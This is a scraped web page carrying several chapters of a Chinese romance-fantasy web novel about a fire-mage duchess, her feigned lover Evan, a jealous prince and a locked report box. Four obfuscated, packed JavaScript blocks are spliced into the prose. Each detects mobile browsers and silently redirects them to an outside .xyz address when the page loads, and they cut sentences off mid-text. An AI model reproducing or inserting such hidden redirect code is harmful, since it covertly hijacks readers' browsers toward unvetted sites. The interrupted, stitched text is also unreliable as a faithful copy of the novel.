;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011856|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饿；你让他难堪，就是让我难堪。” 琳达急切地辩解道：“公爵大人，他……他亲口承认是为了您的地位和权势才留在这里的！您千万别被这个男人蒙蔽了双眼……” 玛西亚微微皱眉，反问道：“那又如何？” “什……什么？”琳达一时语塞。 “我的地位和权势难道不属于我吗？我喜欢他，我想拥有他，而他正好愿意留在我身边。你有什么资格替我评判他值不值得？”玛西亚的语气平静却坚定。 “哦，天哪，您竟然是这样想的……”琳达喃喃道。 “是的，这就是我的想法。所以，你被辞退了。立刻离开这里，不要再妄加评论，指点我的爱情。”玛西亚的声音冷冽而决绝，没有丝毫回旋的余地。 她生气时放的狠话也没多狠，只是语气严肃极了。她把“爱情”这个词咬得很重，生怕对方没听清，也生怕她不往外传。 担心这种程度的“表白”还不够，玛西亚又看向旁边的苏珊。现在她才是距离最近的观众。 “苏珊，你去叫人准备马车，我们要出门。” 苏珊愣在原地，反应了一会儿，才慌忙转身离去，通知马车夫。 玛西亚带着埃文来到王都最繁华的商业街，街道两侧全是高级商店。玻璃橱窗里堆满漂亮的商品，如梦似幻，让兜里没钱的人不敢轻易踏入。 说来奇怪，她自己对穿衣打扮没什么兴趣，不愿意花心思取悦别人的眼睛。但当她看着埃文不断换装，在自己面前转着圈展示，内心却挺享受。 “公爵大人请看，这这种面料很轻很薄，光泽十分细腻，穿在身上像是流动的奶油。”店员热情介绍。 “美。” “真的么？” “真的。埃文，你就像是画里的人。”看着埃文赏心悦目的脸，什么烦恼都可以先抛一抛，玛西亚心情好多了。 店员喜不自胜，又取来一件双排扣黑色马甲：“公爵大人，马甲能很好地凸现这位先生的腰身，虎眼石的纽扣也称他的瞳色。再配一条细细的金色表链，啧啧。” “好。这件也要。” 玛西亚给埃文从里到外买了十五套衣服，埃文多看了几眼的配饰，如领针、袖扣、腰带之类的也全都带了回去。 “接下来去书店。”她兴致不减，“答应过你的。” 埃文到底年轻，玛西亚给他花钱是剧情需要，也是报酬的一部分，可当她真的为自己一掷千金，他还是感觉到不安。 尤其玛西亚平时穿得很朴素，头上不带花，脖颈上也没有项链，埃文难免觉得她在为他破例。 “玛西亚，出来一趟，你怎么什么都不给自己买？” “不需要。冬天的裙子布料太厚，我腰间还要别法杖，华丽的裙摆也碍事，活动不开。” 埃文听懂了，女装的款式很复杂，但玛西亚喜欢简单的，火魔法师则喜欢穿薄一点的衣服。他把这些信息默默记住。 当有一群衣冠楚楚的路人从他们身边走过，埃文适时开始了今天的表演。 “玛西亚，谢谢你带我出来，还给我买这么多东西。”他快乐而感动地看着她。 玛西亚会意，说出那句越来越熟练的台词：“别这么客气，埃文，你知道，这都是因为——我喜欢你。” 对视一秒、两秒……他们互相凝望着，玛西亚觉得自己的表现还可以。应该所有人都看见她和埃文亲密的样子了。 等人走后，埃文小声夸她：“玛西亚，你进步太快了！一点都不结巴。越来越自然了。” 有么？玛西亚笑笑，原来这种事也是熟能生巧，也许没那么难。 14. 图书馆外的遭遇 黑曜石书店的老板莱娜塔是个戴眼镜的中年妇人。这家书店开在繁华的王都商街，书目齐全，环境优雅。 下午，书店的门被人打开，门框上的风铃发出一连串悦耳的声音。 有双青绿色眼睛的棕发女人，穿着长外套，外套里面是单衣，腰间别着法杖。在王都，任谁都能认出她是谁。 美貌且高大的男人则来历不明，穿着簇新的衣服，站在她的身旁，温柔地注视着女人。 莱娜塔连忙站起身，恭敬地说道：“您好，布莱斯公爵，请问有什么能为您效劳的？” “我们来购买小说，浪漫小说。最近有什么流行的作品吗？” 莱娜塔走向书架，取下三本装帧精美的书籍。 “要说最近的流行，当属影子夫人的三部曲：《王妃小鹿乱撞》《乞丐公主的眼泪》和《我原谅你》。您们可以到单独的贵宾阅览室阅读，不会有人来打扰。” 不知为何，单听名字，玛西亚直觉这三本书的内容不会合她的口味。但真正喜欢看书的人是埃文，她不该轻易发表意见。 “埃文，怎么样，感兴趣么？” 埃文决定看看再说。 他克制着兴奋之情，尽力表现得平静、从容，而不是兴高采烈，不想给玛西亚丢脸。 然后，一转身，在书店老板莱娜塔看不见的角度，他的嘴角疯狂上扬，眼睛也弯弯地眯起，幸福得像个孩子，十分容易满足的孩子。 玛西亚不禁一笑。 可当他们进入阅览室，读了一会儿后，埃文开始崩溃。 “男主角对女主角说了那么难听的话，心里爱她，嘴上说的却完全相反，有误会也不解释，她怎么还能继续喜欢他啊！我真是服了！” 埃文气呼呼地捧着《王妃小鹿乱撞》，又是叹息，又是冷笑，又在好奇心的驱使下往后翻了几页，试图想在后续剧情中看到反转和解释，结果更加两眼一黑。 最后，他不得不把这本书扔到一边，脸色郁闷得像一个人好端端走着路，突然被人蒙上头拉到暗巷里打了一顿。 “我手里这本也……有点奇怪。” 玛西亚第一次专注下来阅读浪漫小说，作者文笔很好，有一种牵引人心的能力，用流水般自然晓畅的文字，构建了独特的世界观。 可惜，它的剧情是一场灾难。或者说是对她理解能力的考验。 《乞丐公主的眼泪》中的女主角出身高贵，因战争失去一切，沦落异乡，而男主角正是杀她全家的仇敌，两个人一见面爱上了。 玛西亚以为女主角忍辱负重，暗藏杀心。或者误会了男主角，以前的事情不是他做的。可女主角的刀子始终没能落下去，剧情也没有发生任何反转。 看得玛西亚一头雾水。 这怎么可能在一起呢？如果换她是女主角，即便手中没有任何武器，接吻的时候也要忍住恶心，把仇人的舌头咬掉。 他们的目光不约而同地落在余下的那本《我原谅你》上。 一方面，两人都想要看看这位名叫“影子夫人”的作者还能写出什么惊人剧情。另一方面，他们又实在不敢太期待。 他们交换了一个眼神，凑近了坐在一起，互相打气似的同时伸出手，共同翻开了这本书。 “开头还挺正常，”玛西亚松了口气，“看上去是对两小无猜的情侣。” 埃文也转忧为喜：“啊，是小女仆和被收养的少爷！虽然有点俗套，但她写得确实不错。很纯情！” 又翻过了几页。 呃，真少爷出现了，原来他才是男主角么？ ——我多么希望能从他的眼睛中看到爱，可他的目光冰冷，只有兽性。在欲燃的夕阳下，他紧紧拥抱着我，他粗暴的碰触，与其说是爱抚，不如说是在把玩廉价的布娃娃，我就是这样一个可以被他随意对待的人……执着于我的身体也是爱啊，他爱我，我原谅他。 读到这里，玛西亚愕然。 她揉了揉太阳穴，又抚了抚胸口，不敢相信自己的眼睛。她犹豫了很久，在心里搜寻合适的措辞，终于抬起头，看向埃文，轻声发问：“只有我觉得这个男主角是个强-奸-犯么？” 他瞬间涨红了脸，羞耻和愤怒混合在一起，他觉得浪漫小说，连带喜欢读浪漫小说的自己，一并被这本书拉低了品格。 埃文“啪”地一声把书合上。 这都什么东西啊！ 该死的，这个影子夫人到底是谁？为什么要写这种故事来折磨读者？为什么要把犯罪美化成爱情…… 玛西亚看他崩溃的样子，不好再说什么，埃文明显受了很大打击。 “我们去请教下老板吧，问问为什么影子夫人的书会在王都流行。” 面对公爵的提问，莱娜塔有些惶恐，大人物总是最难接待。他们附庸风雅，同时也吹毛求疵，爱贬低别人的作品，好标榜自己的品味、智力，或者优越的道德。 之前就有一位夫人看了某部富有激情的作品之后尖叫一声晕了过去，醒来就说这本书伤风败俗，要求下架。 实际上，那本书不过是写到女主角把男主角压到墙角，主动地吻他。当然，动作幅度略大，描写得也比较细。 “公爵大人，爱恨纠葛本身就是很迷人的。”她觉得玛西亚没看懂，真实的人性本来就很复杂。 “可我没有看到爱，只看到屈辱，还有自欺欺人。”玛西亚十分直白。 莱娜塔讪讪一笑：“每个读者都有自己的看法嘛。再说，这是通俗读物，大家读来消遣而已。” 言外之意是说玛西亚太较真了。 所以这到底是深刻难懂，需要理解力的作品，还是娱乐浅薄，不用深思的作品？玛西亚被她自相矛盾的两种解释弄得糊涂。 埃文对莱娜塔的回答感到失望，他试着去理解，在繁华的王都，什么书读不到呢？读腻了幸福的故事，自然就要换换口味。 又不是每个人都像他，生活在寒冷的极北之地，要靠虚构的甜蜜抵御孤独。 “好吧。”埃文再一次准备接受现实。在王都一切都和他想象得不太一样。 可玛西亚却认真起来。 “我跟您说说我的看法吧。当然，我不是什么资深的读者。” 玛西亚做了十分谦虚的开场白，而后，她说出自己的感受：“我觉得影子夫人很有讲故事的才华。但是她似乎偏爱塑造一类有权有势，性格却恶劣到极点的男主角。” 就像卡尔王子，玛西亚不由得想到了他，这些坏男人就好像和卡尔共用同一张脸。 “女主角失去了一切，只得到了个不怎么样的伴侣。分类标签明明写的是‘爱情喜剧’，难道只要最后在一起了就是喜剧？” 莱娜塔没想过这些问题，一时无言以对。 “作者于小说中的人物，不就是创世神一样的存在么？作者有能力给角色更好的命运。” 尤其是，玛西亚历尽千辛万苦。为什么不可以得到真正的奖励。她在某个瞬间，狠狠地代入了这些故事，想问神明要一个好结局。 “这个，恐怕您只能去问影子夫人。”莱娜塔明白过来，这位布莱斯公爵真的在困惑，而不是想跟她辩论什么，“可惜这类小说都是用假名发表，我没办法帮您联系她。” “假名？” “是的，浪漫小说畅销……但是写这种小说不太体面。” “原来如此。”玛西亚若有所思。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015758|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 埃文则想，也许，影子夫人本人的生活未必很如意。 他们两个最终没能像先前说好的那样，搬空书店里所有的浪漫小说。玛西亚随手买了一本魔法生物图鉴，埃文挑挑选选，最后买了一本服装画册。 两位客人走后，店主莱娜塔的目光留驻在摆放浪漫小说的两排书架上。 在亚斯特的神话中，这片大陆是创世神在经历两次不太成功的尝试后，创造出的第三个世界，祂无法让每个人都拥有完美的人生，于是派遣天国精灵，向人间撒下赐福花瓣，幸福便随机地落在人们的身上。 神爱世人么？ 黑曜石书店的老板莱娜塔女士突然开始想这个奇怪的问题。 下一站，图书馆。 玛西亚本来没觉得在有钥匙的情况下找样东西会有多难，因为这是一座对公众开放的图书馆，直到她发现今天这儿被清场了，周围安静得出奇。 定睛一看，又是王室成员的马车。 她对埃文说：“看来我们今天只好放弃。在外边吃晚饭怎么样？斯黛拉给我推荐过一家餐馆，是南方菜，就在这附近。” “嗯……我听你的。” 玛西亚捕捉到了他短暂的迟疑，于是说：“埃文，你不用什么都听我的。尽管刚才的那几本小说内容很糟糕，但至少说对了一件事。” “什么？” “两个人相处，最重要的是说出自己的真实想法，不能口是心非。”她分享她从浪漫小说中学到的道理，“你是不是想吃别的？你喜欢吃什么？” 他有些窘，但十分坦诚地回答：“不，我只是没吃过南方菜，不知道是什么味道，但我愿意试试。” 他真的很想试试，想和玛西亚一起做些以前没做过的事。 当他们调转马车的方向，准备改天再来图书馆寻找安东尼奥的报告时，身穿宫廷制服年轻的侍从气喘吁吁跑来，拦住了他们。 “尊敬的玛西亚·布莱斯公爵，”他站定行礼，“卡尔殿下有请！” 冤家路窄。 玛西亚叹了口气，卡尔，为什么总要来破坏她的好心情。 “埃文，为了早点吃饭，我们尽快把他打发走。” 埃文迅速进入状态，稍微把头发弄乱了一点，想了想，又解开领口的一颗纽扣，显得随意放松，然后含情脉脉地看向玛西亚，酝酿情绪。他认真得像是要上战场打仗的将军，他手持玫瑰色的战斧，浪漫是他的披风。 迎着侍从诧异的目光，他率先走下马车，然后朝玛西亚伸出手。 “扶着我下来吧，玛西亚。” “谢谢，你真贴心，埃文。” 她跳下马车，像是要跳进他的怀里。 卡尔王子看着日思夜想的玛西亚，发现她旁边多出来一个男人，直觉碍眼，但面上不显分毫。他一如既往地对玛西亚露出足以勾引任何人的微笑。 “玛西亚，好久不见。听说你顺利解决了极北之地的龙灾。还带回了龙鳞，送给了王储妃。” “是的，卡尔殿下。” “为什么？” “呃，什么为什么？” “为什么不送给我呢，玛西亚。”卡尔王子看着她，“这让我很羡慕。” “殿下，龙鳞不是名贵的宝石，偶遇贝拉殿下，我就把这美丽的东西送给美丽的人了。仅此而已。” “即便龙鳞不是什么名贵的宝石，但如果是你送给我的，我一定会把它做成胸针，佩戴在左胸，紧贴心脏跳动的位置。” 玛西亚一阵无语。 她心想，你喜欢我就要给么？ “看情况吧。也不是每天都能打死一条龙。”她只好装傻，抬眼望了望远处的天空。 15. 魔法之外的爱好 从街道另一端吹来的冷风穿过三人，卡尔王子的头发如银丝般飘动，散发出令人睁不开眼的强烈光泽，他用紫罗兰色的美目凝视着玛西亚，并不去看情敌。 事实上，他还没把埃文当情敌。 他无端地确信，玛西亚的心门很难敲开，她和那个男的肯定没什么，即便有着暧昧，也一定是男方主动。玛西亚那么老实，近乎无趣地正直，卡尔觉得只要她不结婚，就到不了那一步。 她依然是块无主地，等着他去占领。 卡尔薄唇轻动，念了一句咒语。 风啸。 他用振动的气流制造出嗡嗡的噪音，隔开埃文，让他暂时无法听见他和玛西亚两人的对话。 “跟我说实话吧，玛西亚，他缠着你，对么？”他关切地问。 对贵族来说来说调情就像呼吸一样简单。经常逢场作戏，难免有烂摊子要收拾。他以为埃文和他身边那些献媚的女人一样，扭身卖俏地贴过来，想得点好处。 卡尔一副好心好意的样子，分享经验：“玛西亚，你现在是位公爵，心肠得硬一点才行，不要不好意思拒绝。不然这种苍蝇一样恼人的烂桃花会没完没了，对你的名声有损。” “不，我喜欢埃文。埃文·贝克尔是我的恋人，您快解除风啸吧！” 不打招呼就把埃文隔绝在对话之外已经很让玛西亚生气，对两人关系妄下评判的话更是令玛西亚感到受辱。 他还是老样子，随意地对待别人。 他知道自己只是一个诱饵么？还是说他完全知情，主动配合了一切。 “为什么？” 卡尔不信玛西亚的话，先是吃惊，旋即嘴角带起一丝玩味的笑。 “您是指？” “为什么你会对他感兴趣？我认识的玛西亚不收任何男孩的花。我想知道这位……贝克尔先生有何过人之处。” 他把爱变成一道证明题，要玛西亚拿出证据来。女人总是口是心非，他纳闷她什么时候学会了撒谎？ “如您所见，埃文是个很英俊的男人，并且他真心喜欢我。” “可是玛西亚，英俊且喜欢你的人不只他一个啊。”他提醒玛西亚，微微抬起下巴。 白银家族最初一位国王可能样貌普通，但每个国王的王夫、王后，都是万里挑一的美人。有这样一代代的遗传打底，卡尔的容貌绝不会丑。 可他不知道，自己并不合玛西亚的口味。卡尔的长相精致，如同由匠人精心雕刻出十六个切面的宝石，镶在铂金框上。 人如果戴上一颗这样的宝石，就不由地想配一条丝绸裙子，有了丝绸裙子，手中就缺一把羽扇，有了羽扇，还缺一双高跟鞋，有了高跟鞋，走路时腰板和脖子就得挺得更直，要摇曳生姿，不能松一口气，不然小肚子会凸出来，破坏优雅的和谐。 和卡尔在一起，会被一道严厉的目光无形地审视，觉得自己永远不够好。 埃文就不一样，埃文像棵又高又直的树，从冻土里挺出来，带着自然的野气。或是某种漂亮健康的动物，在冰原上顶风冒雪地奔跑撒欢。他让人放松，让人高兴。 玛西亚看了卡尔的脸就烦，和卡尔说话也总是感觉到累。 也许这一丝不耐烦没能藏好，被卡尔捕捉到了。 风啸突然增强，空气中的魔法能量变得肉眼可见，白色的光芒包裹着埃文，他开始有些站不稳。 “殿下！您怎么能对普通人用这么强的魔法？！” 情急之下，她抬手掐出一朵火花，想打断卡尔的过量施法，可埃文却挣扎着从白色风旋里伸出双手，朝她迈步，颤抖着捧住她的脸。 然后，埃文把玛西亚往怀里一搂，紧紧捂住了她的耳朵。 他无声地呼唤着：“玛西亚，玛西亚……你疼不疼？” 玛西亚先是心惊，随即意识到原来埃文以为她和他一样在受罚，他不懂魔法的路数，以埃文的视角，他只看到两人的嘴唇不断开合，似乎在争执什么，然后，白色的魔法席卷而来，带来了剧烈疼痛。 卡尔的眉毛皱成扭曲的线，为什么玛西亚没有挣脱这个荒谬的拥抱？ 风啸停止了。 玛西亚在埃文的怀抱中轻轻呼了口气，眼睛不知何故发酸。 埃文像所有没见过大人物的平民一样，猜不透王子的心思，为王子突然的惩戒发着抖。可是，他在自己承受疼痛的时候，选择抱紧了她。这还不够有说服力么？ 不愧是埃文。 不管这是他演出来的，还是下意识地反应，玛西亚爱上这样的人都很合理。 只不过，他稍微有点抱得太用力了，心跳声透过胸肌，隔着衣服一下一下的传来，撞得她脸热。 “埃文，我没事。”她柔声安抚埃文，然后，玛西亚转向王子，定定地直视他，无比清晰地说道，“殿下，您误会了。我们真心相爱。” 喜欢一个人要有话直说，别让他胡思乱想。讨厌一个人也要说清楚，不要给他可以争取的幻觉。 卡尔心头一紧。 相爱？ 直到这一瞬间，卡尔的眼眸中才升起一团有毒的苦雾——嫉妒。 他到底哪里不好？玛西亚为什么爱别人，真的是爱么，又有多爱？ 卡尔瞥了埃文一眼，没有道歉，没有解释，反而聊起新的的话题。就像刚才的一切都没发生过。 “玛西亚，如果你跟王储妃关系不错，那么周末的主题茶会你要来参加么？” “什么主题的茶会？”她已经决定无论听到什么答案都说不感兴趣，然后拒绝。 “白色玉石。”卡尔回答。 玛西亚一下子想到了抑魔石，安东尼奥提到抑魔石也是一种白色玉石。 “好奇特的主题，宝石鉴赏会？” “不，需要在服装或配饰上体现主题。之前不是还有过‘繁花’、‘飞鸟’之类的主题么。你知道的，穿衣打扮是贵妇人最喜欢的娱乐。” 卡尔上下打量玛西亚，体贴地说道：“我可以帮你找一位置装顾问。让玛西亚变成全场最受瞩目的女人。” “不需要，殿下，我会去的，如果我收到邀请函的话。” “你当然会收到邀请函。”卡尔满意地微笑，“因为你是王室的朋友，尊敬的玛西亚·布莱斯公爵。” 玛西亚干笑两声，礼貌地告辞。 刚一坐进自己的马车，关好车门，玛西亚就开始查看埃文的情况，她先观察耳道有没有出血。然后又环视他的脸和脖子，所有露出的皮肤，万幸，没有被风刃割出伤口。 “现在有什么不舒服么，耳鸣？头晕？” “我没事，你呢？” “那就好，那就好……他没对我出手。卡尔这人没救了，当初我应该再打狠一点，打到他看见我就躲才对。”她悬着的心放下来，愧疚道，“以后我一定好好保护你。” “没关系，这才第一个回合。你这副紧张我的样子，已经很刺激他了。”他对刚才的疼痛不以为意。 “我真的很想直接揍他！为了领地才忍下来。” 埃文理解，点了点头：“你得到领地本来就名正言顺，没必要为一时气愤从英雄变罪犯。那样反而麻烦了，倒给他们不兑现领地的借口。” “老这么被动也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020698|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是办法，我要参加那个‘白色玉石’主题茶会，看看王室搞什么鬼。”说完，她又捏住埃文的耳垂，轻柔地搓弄了一下，“真的不疼？” “不疼！” 埃文像被玛西亚的体温烫到了似的。 “……玛西亚，我们快去吃饭吧。我真的……很饿。”他低声催促她。 他们去往斯黛拉推荐的南方饭馆。 不同于北方喜欢用烘烤的方式烹饪，南方菜经常把多种食材炖煮在一起。 “很好吃，汤也浓，肉也香，汁还都吸到了蔬菜里。”埃文评价。 “我也觉得好吃。不过斯黛拉喜欢来这里吃另有缘故。你绝对猜不到。” “给个提示？” “嗯，共同爱好，斯黛拉和亚当有一个极其小众的爱好。” 埃文盯着锅沉思，锅子里有切成方块的牛肉，有蘑菇片和西红柿，有白葱段和洋葱丝，余下的就是各色芜菁，当然，还少不了怎么做都好吃的马铃薯。 食材没什么特殊，只是种类丰富，难道是餐具？他看向煮锅。造型倒是挺好看……圆圆的。 “我完全猜不到。告诉我吧，玛西亚。” 玛西亚：“他们是王都根茎蔬菜同好会的会员。” 埃文一愣，旋即低头，看到锅里五颜六色的各种萝卜：“怎么会有这种同好会？” “谁知道呢。他们是在菜园里认识的，一头闪亮金发的大小姐，提着一篮子粘着泥的芋头，在田埂上走。迎面看到一个戴草帽的青年，怀里揣着几根刚拔出来的萝卜。然后他们惊喜地互相称赞：‘啊呀，你怎么做到的？这个品种在王都种不出来吧！’一来二去，他们就开始一边种地一边约会了。” 埃文突然激动起来，轻声尖叫：“天呢！天呢！这个相遇也太美好了吧！” 玛西亚不理解埃文在高兴什么，他怎么可以为别人的爱情笑得那么甜？ 不过很快，她也懂了：“确实，他们好像是天造地设的一对，严丝合缝的两块拼图，注定要和对方在一起。” “是的，共同的爱好让两个不认识的人有了连接点。人都是和自己的同类相处起来更舒服。” 埃文忽而想到卡尔王子对他施加的魔法，令人战栗的风声已经散去，魔法残留的危险气息却犹在心头。自己和玛西亚有什么相同之处呢？玛西亚痴迷于魔法，而埃文对魔法一无所知。 “玛西亚，除了魔法，你喜欢什么？” “酒。”玛西亚有些心虚地补充，“不过我喝的不多……也不会喝醉。” 玛西亚第一次喝酒是为了学习一个叫“火嗝儿”的民间魔法，可以从口中喷出火龙卷。等她跟酒馆里的吟游诗人学会了，才发现它与其说是攻击招式，不如说是一种酒后表演。攻击力几乎为零，视觉效果倒挺绚丽的。 “是吗？哦，哈哈，我知道了。”埃文暗想，玛西亚真的很不擅长撒谎，明明昨晚就醉倒在他身边，“还有呢？” “好像没什么了，”玛西亚意识到自己生活的乏味，又想了一会儿，才说，“上学的时候剑术也学得很好。不过在实战中总是依赖魔法更多，就没有再捡起来。劈、砍、刺这些动作很减压。运动完微微出汗的感觉也很舒服。” 埃文记住了。这个他倒是能去学一学。 “我们也要有共同爱好，对么？”玛西亚开了窍。 “嗯，而且我想更了解你一些。”他回答。 埃文看上去很有成算，使玛西亚有种踏实的感觉，情况虽然复杂，但他们能做的事还是挺多的。 “那么等忙完茶会，我认识一个很厉害的剑士，请他教你。” 16. 安东尼奥的报告 踏着吱嘎作响的木制楼梯，玛西亚进入图书馆顶层，异常顺利地用安东尼奥的钥匙打开了一扇隐藏门。 门内有一只木头盒子，漆面微微褪色，有些斑驳。 因为拿到报告的过程过于简单，玛西亚有点怀疑这份报告的重要性。尤其，木头盒子上甚至没有锁。 可很快她发现自己没办法打开这个木盒。 无论怎么用力掰，盒盖都纹丝不动，而木盒表面也没有密码之类的机关。 手指腹摩挲着木盒的纹理，玛西亚困惑非常，她感应到里面有一点点微弱魔力，却并不是一个精巧严密的术式。 “奇怪，不该打不开的。” 任她再怎么莽撞，也做不出在图书馆这种全是纸的地方用火魔法破解木箱的事来。于是，她把这只箱子夹在腋下，快步离开了图书馆。 即将离开图书馆所在的街道时，玛西亚发觉有有人在偷看她，于是她故意放慢脚步，又突然停下，转过头和对方的视线撞了个正着。 看清这两人的模样后玛西亚笑了，原来是魔法学院的学生，她们穿着统一的制服裙，胸前佩戴红色的兰花形胸针，和她一样，是火魔法师。 “请问，您是那位打败魔王的‘烈焰之炎’吗！”瘦高个女孩第一个开口。 “对。我是玛西亚·布莱斯。” 得到肯定回答以后，这女孩儿立刻改口：“哇！真的是玛西亚学姐！我就说看着像，除了您还有哪个火魔法师有这种颜色的眼睛。” 因为她笑得太灿烂，旁边的羊毛卷女孩扯了扯她的袖子，提醒她注意礼貌：“要叫公爵大人！” “不要紧，”她并不认识这两个女孩，但看她们稚气未脱的脸，很难不想起自己当初的模样，“今天没课？” “嗯，我们两个今天出来做作业。老师要求收集一百种火花样本。” 好熟悉的作业，玛西亚也做过，跑遍所有允许她进去的地方，问遍所有面善的人。她收集了面包房的炉火、打铁铺飞溅出来的火星、守城卫兵点烟的火…… “这个作业确实磨人。”玛西亚说。 “学姐，我一直好奇，这个作业有什么用呢？最后我们不都是只用一种火么？最纯粹的元素之火。”瘦高个女孩问。 玛西亚：“我也觉得没什么用。” 玛西亚没有说教，反而实话实说：“收集的火花虽然不同，但感应元素的方法相同。这是一种机械练习，有点像抄书，把要背的段落抄一百遍。其实聪明的话不抄也可以，或者重复五六次，巩固一下就够了。当然，能离开学校，出来逛逛还是挺不错的。” 羊毛卷女孩惊讶地说：“他们提到您，总说您十分刻苦。原来您并不喜欢做作业？” 玛西亚尴尬地摇摇头：“大部分理论课我都很煎熬……不临近考试，我是不会背书的。不过我真心喜欢魔法，喜欢战斗。喜欢一件事的话就可以接受过程中没那么有趣的部分。” 两个学生听进去了，默默记住这番话。 瘦高个女孩明显是两人中胆子更大的那个，她突然神神秘秘地笑了，好奇地问：“那么，学姐你现在和卡尔王子在一起了吗？老师们都说卡尔王子一直很喜欢你。” 玛西亚僵硬地愣在原地。 她听到了这个世界上最荒谬的话。 “喜欢我？” 十五六岁的时候，卡尔会有意无意地盯着她的胸脯看，然后好心给出一句建议：“玛西亚，少吃点儿。” 可那时候她吃的是什么！她在月底之前都不敢敞开肚子吃，怕生活费坚持不到最后一天。她经常感到饥饿。 这算喜欢么？ 在月落节，男生若给女生送花，女生就要出于礼貌回同等价值的东西。卡尔给所有人送礼，硬塞给她一束昂贵的霓光百合。她不得不当众说出：“殿下，我没钱回礼。”才推了这份负担不起的礼物。 从此，每个人都知道卡尔是温柔善良的人，连不受欢迎的平民女生也愿意去照顾一下。 这算喜欢吗？ 玛西亚回想着往昔种种，只觉得有卡尔在场的回忆都是郁热潮湿的，蒙着压抑的灰色调，如暴雨前令人烦闷的满是阴云的天空。 不管他现在到底出于什么目的靠近她，玛西亚对他的态度都是和从前一样：她讨厌他。 玛西亚：“不，我所爱的另有其人。你们听到的只是传闻而已，我现在和一个叫埃文·贝克尔的人在一起。” 女孩追问：“他比王子还好么？” 玛西亚：“人和人无需比较。人的身躯是水火土风四元素的偶然排列，本质上并无区别，重要的是内心和意志。我喜欢谁，谁就是最好的。” 瘦高个女生激动道：“我懂了！我完全懂了！玛西亚学姐就是喜欢他啊。太有爱了。” 两个学生找她要了签名，玛西亚想了想，又掐出两朵火花送给她们：“这是烧死魔王的火，送给你们。” 玛西亚很快到家。 阳光透过玻璃高窗洒落在起居室，埃文正穿着柔软的衬衫，坐在铺着紫色天鹅绒毯的椅上静静翻书。他身高腿长，显得座椅很小，可这野兽一样的男人神情温顺得像只小羊。 手里拿的还是那本《铁血公爵对我动心》，身前茶几上摆着他新买的服装画册。 他全情沉浸在书中世界，嘴角噙着似有若无的笑，专注而安闲，让玛西亚觉得，他所在之处的空气似乎都比别处明亮一些。 “埃文，我回来了。” 听到玛西亚的声音，他立刻抬头，撂下书站起来走向她，完成他们先前商量好的一套动作：对视，笑一下，再轻轻捋弄她的头发。 玛西亚只需要跟着笑就好。 可她记错了，她也伸出一只手抚摸他，像在极北之地时搓弄多芬奶奶家的猫咪鲁鲁那样，把手指梳进他的黑发，揉了揉。 “玛西亚？”他喉咙发干。 玛西亚回神，想起正事，说：“我们先回房间。” 她拉他走进自己的卧室。 “埃文，我取回了报告，木盒子却打不开，我不敢贸然使用魔法，你用力试试？” 埃文接了箱子，说：“这么重要的东西，如果谁都能用蛮力打开，是不是有点太草率了？” 可他还是听话照做，扣着箱子两边，用力地掰，箱子稍微开了一道细缝，但很快又“啪”地一声，像蚌壳似的自己合上。 埃文又试了几次，还是这样。 “玛西亚，我感觉这箱子有意识一样，它跟我较上劲了。”埃文不服气，再次使出全力。 玛西亚眼疾手快，趁埃文把箱子扣出一条细缝的时候，控制魔力，制造了一个极小又极亮的火花。快速看清里面的情况。 “你的感觉没出错。是活物，箱子里面有一双小圆眼睛。”她感到诧异。 埃文：“是箱子被什么人施加了魔法么？” “不。”她思索片刻，说，“是魔法生物。它们具有微弱魔力，但是不会使用，或者根据本能胡乱实用，人们将它们的魔法描述成‘习性’。” 埃文恍然大悟，他想到了炎晶鸟，那是一种不断释放热力的鸟，它生的蛋会融化周围的冰雪，融出一个凹陷，不断地冒热气，无法隐蔽。它不得不拜托人类帮忙孵化。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025367|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“所以里面有只力气很大的小家伙在看家。”埃文轻轻拍了拍箱盖，“出来吧，以后我陪你玩儿，怎样？” 玛西亚不禁一笑：“它怎么可能听懂。” 埃文总是这样，时不时展露与年龄不相符的单纯，使她在紧张中得到喘息。他不用特意做什么就能把她逗笑。 她取出魔物图鉴，仔细翻阅，花了大半天的工夫，终于找到答案——力鼠。 